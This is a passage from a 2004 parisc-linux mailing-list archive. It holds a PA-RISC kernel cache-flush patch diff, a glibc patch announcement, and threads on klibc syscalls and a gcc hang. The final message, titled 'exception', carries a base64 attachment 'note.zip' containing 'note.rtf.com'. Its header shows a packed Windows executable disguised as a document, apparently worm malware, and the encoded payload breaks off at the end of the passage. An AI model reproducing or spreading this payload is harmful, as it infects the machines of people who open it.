+flush_kernel_dcache_range(unsigned long start, unsigned long end)
+{
+	unsigned long vaddr;
+
+	/* small range, don't bother to flush the whole page (and
+	 * thus don't mark the page as flushed */
+	if (likely(end - start < PAGE_SIZE)) {
+		flush_kernel_dcache_range_asm(start,end);
+		return;
+	}
+
+	for (vaddr = start & PAGE_MASK; vaddr < end; vaddr += PAGE_SIZE)
+		flush_kernel_dcache_page((void *)vaddr);
+}
+
 
+static inline void
+flush_icache_page(struct vm_area_struct *vma, struct page *page)
+{
 }
+
+static inline void
+copy_user_page(void *vto, void *vfrom, unsigned long vaddr, struct page *pg)
+{
+	pte_t *pte;
+	copy_user_page_asm(vto, vfrom);
+	if(likely((pte = __translation_exists(current->active_mm, vaddr)) &&
+		  pte_flush(*pte))) {
+		/* no point clearing flush here, it would be set again
+		 * when the user accesses the page, likewise, don't
+		 * purge the TLB entries */
+		flush_user_dcache_page(vaddr);
+		flush_user_icache_page(vaddr);
+	}
+		
+}
+
 #endif
 
diff -Nru a/include/asm-parisc/dma-mapping.h b/include/asm-parisc/dma-mapping.h
--- a/include/asm-parisc/dma-mapping.h	Wed Apr 28 21:24:13 2004
+++ b/include/asm-parisc/dma-mapping.h	Wed Apr 28 21:24:13 2004
@@ -200,8 +200,9 @@
 dma_cache_sync(void *vaddr, size_t size,
 	       enum dma_data_direction direction)
 {
+	unsigned long start = (unsigned long)vaddr, end = start + size;
 	if(hppa_dma_ops->dma_sync_single_for_cpu)
-		flush_kernel_dcache_range((unsigned long)vaddr, size);
+		flush_kernel_dcache_range_asm(start, end);
 }
 
 static inline void *
diff -Nru a/include/asm-parisc/io.h b/include/asm-parisc/io.h
--- a/include/asm-parisc/io.h	Wed Apr 28 21:24:13 2004
+++ b/include/asm-parisc/io.h	Wed Apr 28 21:24:13 2004
@@ -298,9 +298,9 @@
 #define IO_SPACE_LIMIT 0x00ffffff
 

-#define dma_cache_inv(_start,_size)		do { flush_kernel_dcache_range(_start,_size); } while (0)
-#define dma_cache_wback(_start,_size)		do { flush_kernel_dcache_range(_start,_size); } while (0)
-#define dma_cache_wback_inv(_start,_size)	do { flush_kernel_dcache_range(_start,_size); } while (0)
+#define dma_cache_inv(_start,_size)		do { flush_kernel_dcache_range_asm(_start,(_start) + (_size)); } while (0)
+#define dma_cache_wback(_start,_size)		do { flush_kernel_dcache_range_asm(_start,(_start) + (_size)); } while (0)
+#define dma_cache_wback_inv(_start,_size)	do { flush_kernel_dcache_range_asm(_start,(_start) + (_size)); } while (0)
 
 /* PA machines have an MM I/O space from 0xf0000000-0xffffffff in 32
  * bit mode and from 0xfffffffff0000000-0xfffffffffffffff in 64 bit
diff -Nru a/include/asm-parisc/page.h b/include/asm-parisc/page.h
--- a/include/asm-parisc/page.h	Wed Apr 28 21:24:13 2004
+++ b/include/asm-parisc/page.h	Wed Apr 28 21:24:13 2004
@@ -19,15 +19,10 @@
 
 extern void purge_kernel_dcache_page(unsigned long);
 extern void copy_user_page_asm(void *to, void *from);
+extern void copy_user_page_vaddr_asm(void *to, void *from, unsigned long vaddr);
 extern void clear_user_page_asm(void *page, unsigned long vaddr);
 
-static inline void
-copy_user_page(void *vto, void *vfrom, unsigned long vaddr, struct page *pg)
-{
-	copy_user_page_asm(vto, vfrom);
-	flush_kernel_dcache_page(vto);
-	/* XXX: ppc flushes icache too, should we? */
-}
+/* see cacheflush.h for copy_user_page */
 
 static inline void
 clear_user_page(void *page, unsigned long vaddr, struct page *pg)
diff -Nru a/include/asm-parisc/pgtable.h b/include/asm-parisc/pgtable.h
--- a/include/asm-parisc/pgtable.h	Wed Apr 28 21:24:13 2004
+++ b/include/asm-parisc/pgtable.h	Wed Apr 28 21:24:13 2004
@@ -29,15 +29,6 @@
  */
 #define kern_addr_valid(addr)	(1)
 
-/* Certain architectures need to do special things when PTEs
- * within a page table are directly modified.  Thus, the following
- * hook is made available.
- */
-#define set_pte(pteptr, pteval)                                 \
-        do{                                                     \
-                *(pteptr) = (pteval);                           \
-        } while(0)
-
 #endif /* !__ASSEMBLY__ */
 
 #define pte_ERROR(e) \
@@ -213,6 +204,15 @@
 #define __S110  PAGE_RWX
 #define __S111  PAGE_RWX
 
+/* Certain architectures need to do special things when PTEs
+ * within a page table are directly modified.  Thus, the following
+ * hook is made available.
+ */
+static inline void set_pte(pte_t *pteptr, pte_t pteval)
+{
+	*pteptr = pteval;
+}
+
 extern pgd_t swapper_pg_dir[]; /* declared in init_task.c */
 
 /* initial page tables for 0-8MB for kernel */
@@ -230,17 +230,16 @@
 
 #define ZERO_PAGE(vaddr) (virt_to_page(empty_zero_page))
 
-#define pte_none(x)     ((pte_val(x) == 0) || (pte_val(x) & _PAGE_FLUSH))
+#define pte_none(x)     ((pte_val(x) == 0))
 #define pte_present(x)	(pte_val(x) & _PAGE_PRESENT)
-#define pte_clear(xp)	do { pte_val(*(xp)) = 0; } while (0)
+#define pte_flush(x)	(pte_val(x) & _PAGE_FLUSH)
+#define pte_no_cache(x)	(pte_val(x) & _PAGE_NO_CACHE)
 
 #define pmd_none(x)	(!pmd_val(x))
 #define pmd_bad(x)	((pmd_val(x) & ~PAGE_MASK) != _PAGE_TABLE)
 #define pmd_present(x)	(pmd_val(x) & _PAGE_PRESENT)
 #define pmd_clear(xp)	do { pmd_val(*(xp)) = 0; } while (0)
 
-
-
 #ifdef __LP64__
 #define pgd_page(pgd) ((unsigned long) __va(pgd_val(pgd) & PAGE_MASK))
 
@@ -262,6 +261,23 @@
 extern inline void pgd_clear(pgd_t * pgdp)	{ }
 #endif
 
+extern inline void page_begin_flush(pte_t *pte)
+{
+	/* make the page uncacheable. We need to do this to prevent
+	 * prefetches during the flush from filling the cache.
+	 *
+	 * NOTE: the tlb entry must be purged for this to take effect
+	 * but we don't do it here because we don't know whose space */
+	pte_val(*pte) |= _PAGE_NO_CACHE;
+}
+
+extern inline void page_end_flush(pte_t *pte)
+{
+	/* Clear the flush flag and allow caching the page again.
+	 *
+	 * NOTE: tlb entry must be purged to clear the no cache flag */
+	pte_val(*pte) &= ~(_PAGE_FLUSH | _PAGE_NO_CACHE);
+}
 /*
  * The following only work if pte_present() is true.
  * Undefined behaviour if not..
@@ -282,6 +298,13 @@
 extern inline pte_t pte_mkyoung(pte_t pte)	{ pte_val(pte) |= _PAGE_ACCESSED; return pte; }
 extern inline pte_t pte_mkwrite(pte_t pte)	{ pte_val(pte) |= _PAGE_WRITE; return pte; }
 
+static inline void pte_clear(pte_t *xp) {
+	WARN_ON(pte_flush(*xp) && pte_user(*xp));
+	pte_val(*xp) = 0;
+}
+
+
+
 /*
  * Conversion functions: convert a page and protection to a page entry,
  * and a page entry and page directory to the page they refer to.
@@ -358,10 +381,6 @@
 
 extern void paging_init (void);
 
-/* Used for deferring calls to flush_dcache_page() */
-
-#define PG_dcache_dirty         PG_arch_1
-
 struct vm_area_struct; /* forward declaration (include/linux/mm.h) */
 extern void update_mmu_cache(struct vm_area_struct *, unsigned long, pte_t);
 
@@ -402,23 +421,12 @@
 #endif
 }
 
-#ifdef CONFIG_SMP
-extern spinlock_t pa_dbit_lock;
-#else
-static int pa_dbit_lock; /* dummy to keep the compilers happy */
-#endif
-
 static inline pte_t ptep_get_and_clear(pte_t *ptep)
 {
 	pte_t old_pte;
-	pte_t pte;
 
-	spin_lock(&pa_dbit_lock);
-	pte = old_pte = *ptep;
-	pte_val(pte) &= ~_PAGE_PRESENT;
-	pte_val(pte) |= _PAGE_FLUSH;
-	set_pte(ptep,pte);
-	spin_unlock(&pa_dbit_lock);
+	old_pte = *ptep;
+	pte_clear(ptep);
 
 	return old_pte;
 }
diff -Nru a/include/asm-parisc/tlb.h b/include/asm-parisc/tlb.h
--- a/include/asm-parisc/tlb.h	Wed Apr 28 21:24:13 2004
+++ b/include/asm-parisc/tlb.h	Wed Apr 28 21:24:13 2004
@@ -7,7 +7,7 @@
 } while (0)
 
 #define tlb_start_vma(tlb, vma) \
-do {	if (!(tlb)->fullmm)	\
+do {	\
 		flush_cache_range(vma, vma->vm_start, vma->vm_end); \
 } while (0)
 




From - Thu Nov 08 21:31:59 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] New glibc cvs patches against 2004-04-28
Date: Wed, 28 Apr 2004 23:48:44 -0400
Lines: 13
Approved: news@gmane.org
Message-ID: <20040429034844.GC31006@baldric.uwo.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623422 9148 80.91.229.3 (22 Nov 2014 02:30:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:30:22 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: carlos@baldric.uwo.ca  Wed Apr 28 21:49:17 2004
Return-Path: <carlos@baldric.uwo.ca>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from baldric (baldric.uwo.ca [129.100.10.225])
	by dsl2.external.hp.com (Postfix) with ESMTP id 59000482A
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 28 Apr 2004 21:49:17 -0600 (MDT)
Original-Received: from carlos by baldric with local (Exim 3.35 #1 (Debian))
	id 1BJ2XU-0000Tc-00 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 28 Apr 2004 23:48:44 -0400
Content-Disposition: inline
User-Agent: Mutt/1.3.28i
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (0% Sync Ratio [..........])
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Thu, 29 Apr 2004 03:49:17 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21569


parisc-linux,

Latest upstream glibc patch set:
http://www.parisc-linux.org/~carlos/glibc-hppa-patches-2004-04-28.tar.gz

Applies against glibc cvs head, does the usual thing of providing
linuxthreads, but also enables posix message queues.

c.




From - Thu Nov 08 21:31:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Martin Hicks <mort@bork.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] A job for a debian-developer?
Date: Thu, 29 Apr 2004 09:24:38 -0400
Lines: 27
Approved: news@gmane.org
Message-ID: <20040429132438.GB16062@localhost>
References: <20040428180741.GH6936@baldric.uwo.ca>
	<20040428225420.GB21045@localhost>
	<20040428231610.GK6936@baldric.uwo.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623423 9151 80.91.229.3 (22 Nov 2014 02:30:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:30:23 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Carlos O'Donell <carlos@baldric.uwo.ca>
Original-X-From: mort@galileo.bork.org  Thu Apr 29 07:24:39 2004
Return-Path: <mort@galileo.bork.org>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from galileo.bork.org (galileo.bork.org [66.11.174.156])
	by dsl2.external.hp.com (Postfix) with SMTP id D18A448DD
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 29 Apr 2004 07:24:38 -0600 (MDT)
Original-Received: (qmail 16143 invoked by uid 1000); 29 Apr 2004 13:24:38 -0000
Content-Disposition: inline
In-Reply-To: <20040428231610.GK6936@baldric.uwo.ca>
User-Agent: Mutt/1.5.5.1+cvs20040105i
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Thu, 29 Apr 2004 13:24:39 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21570



On Wed, Apr 28, 2004 at 07:16:10PM -0400, Carlos O'Donell wrote:
> On Wed, Apr 28, 2004 at 06:54:20PM -0400, Martin Hicks wrote:
> > On Wed, Apr 28, 2004 at 02:07:41PM -0400, Carlos O'Donell wrote:
> > > 
> > > parisc-linux,
> > > 
> > > Do we know if any programs use K_INLINE_SYSCALL from our
> > > linux/include/asm-parisc/unistd.h, or rather all the _syscall[n] macros?
> > > 
> > > It's rather wrong. Even if I were to correct the issue, I'm curious if
> > > anything uses these definitions. 
> > 
> > klibc uses the _syscall[n] stuff.
> 
> I don't even know if we have a klibc port? :)
> I'll check both out. Thanks Martin.

I did the initial work, and kyle fixed it up and sent the patch to hpa.
That was probably three weeks ago.

mh

-- 
Martin Hicks || mort@bork.org || PGP/GnuPG: 0x4C7F2BEE


From - Thu Nov 08 21:31:59 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Paul" <paul@techcenter3000.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] gcc hang on alsa-lib
Date: Thu, 29 Apr 2004 12:54:40 -0500
Lines: 24
Approved: news@gmane.org
Message-ID: <000301c42e13$0c4b8a30$0702a8c0@tfam.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; format=flowed; charset="iso-8859-1";
	reply-type=original
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623423 9153 80.91.229.3 (22 Nov 2014 02:30:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:30:23 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: paul@techcenter3000.com  Thu Apr 29 11:54:08 2004
Return-Path: <paul@techcenter3000.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from TECHCENTER3000.COM (cpe-24-221-227-115.tx.sprintbbd.net
	[24.221.227.115])
	by dsl2.external.hp.com (Postfix) with ESMTP id B22BB4A57
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 29 Apr 2004 11:54:08 -0600 (MDT)
Original-Received: from betsy (cs2416712-202.houston.rr.com [24.167.12.202])
	by TECHCENTER3000.COM (Postfix) with SMTP id E55568001C
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 29 Apr 2004 12:52:52 -0500 (CDT)
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 6.00.2900.2096
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2900.2096
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Thu, 29 Apr 2004 17:54:09 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21571

I know my machine isn't the fastest around, but should this take 10+ hrs 
(and counting)?

This is from alsa-libs-1.0.4.

make:
<snip>
if /bin/sh ../../libtool --mode=compile 
gcc -DHAVE_CONFIG_H -I. -I. -I../../include -I../../include    -g -O2 -MT 
pcm_para
ms.lo -MD -MP -MF ".deps/pcm_params.Tpo" \
  -c -o pcm_params.lo `test -f 'pcm_params.c' || echo './'`pcm_params.c; \
then mv -f ".deps/pcm_params.Tpo" ".deps/pcm_params.Plo"; \
else rm -f ".deps/pcm_params.Tpo"; exit 1; \
fi
gcc -DHAVE_CONFIG_H -I. -I. -I../../include -I../../include -g -O2 -MT 
pcm_params.lo -MD -MP -MF .deps/pcm_params.Tpo -c p
cm_params.c  -fPIC -DPIC -o pcm_params.lo

Top:
18630 root      25   0 11576 9936 4532 R 89.2  2.7 628:01.26 cc1




From - Thu Nov 08 21:31:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] gcc hang on alsa-lib
Date: Thu, 29 Apr 2004 17:38:27 -0400
Lines: 35
Approved: news@gmane.org
Message-ID: <20040429213827.GD12850@baldric.uwo.ca>
References: <000301c42e13$0c4b8a30$0702a8c0@tfam.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623423 9158 80.91.229.3 (22 Nov 2014 02:30:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:30:23 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Paul <paul@techcenter3000.com>
Original-X-From: carlos@baldric.uwo.ca  Thu Apr 29 15:39:05 2004
Return-Path: <carlos@baldric.uwo.ca>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from baldric (baldric.uwo.ca [129.100.10.225])
	by dsl2.external.hp.com (Postfix) with ESMTP id 87D0D482A
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 29 Apr 2004 15:39:05 -0600 (MDT)
Original-Received: from carlos by baldric with local (Exim 3.35 #1 (Debian))
	id 1BJJEh-0003oh-00; Thu, 29 Apr 2004 17:38:27 -0400
Content-Disposition: inline
In-Reply-To: <000301c42e13$0c4b8a30$0702a8c0@tfam.org>
User-Agent: Mutt/1.3.28i
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (83% Sync Ratio [========..])
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Thu, 29 Apr 2004 21:39:05 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21572

On Thu, Apr 29, 2004 at 12:54:40PM -0500, Paul wrote:
> I know my machine isn't the fastest around, but should this take 10+ hrs 
> (and counting)?
> 
> This is from alsa-libs-1.0.4.
> 
> make:
> <snip>
> if /bin/sh ../../libtool --mode=compile 
> gcc -DHAVE_CONFIG_H -I. -I. -I../../include -I../../include    -g -O2 -MT 
> pcm_para
> ms.lo -MD -MP -MF ".deps/pcm_params.Tpo" \
>  -c -o pcm_params.lo `test -f 'pcm_params.c' || echo './'`pcm_params.c; \
> then mv -f ".deps/pcm_params.Tpo" ".deps/pcm_params.Plo"; \
> else rm -f ".deps/pcm_params.Tpo"; exit 1; \
> fi
> gcc -DHAVE_CONFIG_H -I. -I. -I../../include -I../../include -g -O2 -MT 
> pcm_params.lo -MD -MP -MF .deps/pcm_params.Tpo -c p
> cm_params.c  -fPIC -DPIC -o pcm_params.lo
> 
> Top:
> 18630 root      25   0 11576 9936 4532 R 89.2  2.7 628:01.26 cc1

Kernel version? libc version? dmesg output?

There is some subshell processing there that might be hanging, see the
'mv -f' or the 'rm -f', is the source tree network mounted?

If you ctrl+c the build, then just run that particular line again, does
it hang again? If so, then you have a repeatable testcase. Please send
us the preprocessed output :)

c.



From - Thu Nov 08 21:31:59 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: frode.berge@oceanor.no
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] exception
Date: Fri, 30 Apr 2004 11:21:52 +0530
Lines: 470
Approved: news@gmane.org
Message-ID: <20040430055155.25910482A@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
	boundary="----=_NextPart_000_0001_0000555A.0000685E"
X-Trace: ger.gmane.org 1416623424 9160 80.91.229.3 (22 Nov 2014 02:30:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:30:24 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: frode.berge@oceanor.no  Thu Apr 29 23:52:01 2004
Return-Path: <frode.berge@oceanor.no>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from parisc-linux.org (unknown [164.100.34.194])
	by dsl2.external.hp.com (Postfix) with ESMTP id 25910482A
	for <parisc-linux@parisc-linux.org>;
	Thu, 29 Apr 2004 23:51:55 -0600 (MDT)
X-Priority: 3
X-MSMail-Priority: Normal
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Fri, 30 Apr 2004 05:52:01 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21573

This is a multi-part message in MIME format.

------=_NextPart_000_0001_0000555A.0000685E
Content-Type: text/plain;
	charset="Windows-1252"
Content-Transfer-Encoding: 7bit

modifications?

------=_NextPart_000_0001_0000555A.0000685E
Content-Type: application/x-zip-compressed;
	name="note.zip"
Content-Transfer-Encoding: base64
Content-Disposition: attachment;
	filename="note.zip"

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
